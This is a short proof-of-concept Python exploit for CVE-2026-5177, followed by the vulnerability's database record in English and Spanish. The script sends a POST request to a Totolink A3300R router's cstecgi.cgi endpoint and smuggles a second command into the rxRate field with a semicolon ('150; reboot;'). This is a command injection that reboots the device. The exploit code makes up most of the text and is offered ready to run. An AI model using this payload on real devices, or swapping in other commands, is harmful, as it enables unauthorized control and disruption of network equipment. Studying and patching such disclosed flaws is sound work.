CVE-2026-5177

import requests # Target URL of the vulnerable device target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi" # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/json", "Accept": "application/json" } # Vulnerable payload in the 'rxRate' parameter # Using a semicolon to chain a simple command (e.g., reboot or ping) payload_data = { "topicurl": "setWiFiBasicCfg", "rxRate": "150; reboot;" } try: # Sending the POST request to trigger the vulnerability response = requests.post(target_url, json=payload_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Payload sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-5177", "sourceIdentifier": "[email protected]", "published": "2026-03-31T03:15:59.297", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in Totolink A3300R 17.0.0cu.557_b20221024. Affected by this vulnerability is the function setWiFiBasicCfg of the file /cgi-bin/cstecgi.cgi. Executing a manipulation of the argument rxRate can lead to command injection. The attack may be launched remotely. The exploit has been made available to the public and could be used for attacks."}, {"lang": "es", "value": "Se ha identificado una vulnerabilidad en Totolink A3300R 17.0.0cu.557_b20221024. Afectada por esta vulnerabilidad es la función setWiFiBasicCfg del archivo /cgi-bin/cstecgi.cgi. La ejecución de una manipulación del argumento rxRate puede conducir a una inyección de comandos. El ataque puede lanzarse de forma remota. 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